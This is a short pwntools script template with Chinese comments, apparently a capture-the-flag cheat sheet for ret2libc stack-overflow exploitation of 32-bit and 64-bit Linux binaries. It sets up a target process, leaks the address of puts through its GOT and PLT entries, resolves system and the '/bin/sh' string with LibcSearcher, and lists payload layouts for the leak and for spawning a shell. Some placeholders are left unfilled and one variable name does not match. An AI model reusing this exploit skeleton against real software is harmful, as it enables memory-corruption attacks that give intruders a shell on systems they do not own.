from pwn import * from LibcSearcher import * context(log_level='debug',arch='i386',os='linux') #32位 context(os='linux', arch='amd64', log_level='debug') #64位 #host='node4.buuoj.cn' #port=25494 #io=remote(host,port) io=process() elf=ELF() junk=... main= elf.symbols['main'] puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] #构造ROP链之前接受的地址 addr=u32(io.recv()[0:4]) #32位 addr = u64(io.recvline()[:-1].ljust(8, b'\0')) # #构造ROP链 libc=LibcSearcher('puts',puts_addr) #利用LibcSearcher模块找到匹配的libc版本 base=puts_addr-libc.dump('puts') #利用的时候不一定是puts溢出 bin_sh=base+libc.dump('str_bin_sh') system=base+libc.dump('system')
payload的构造: 判断libc版本32位: b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got) getshell: b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh) 判断libc版本64位: b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(main) getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)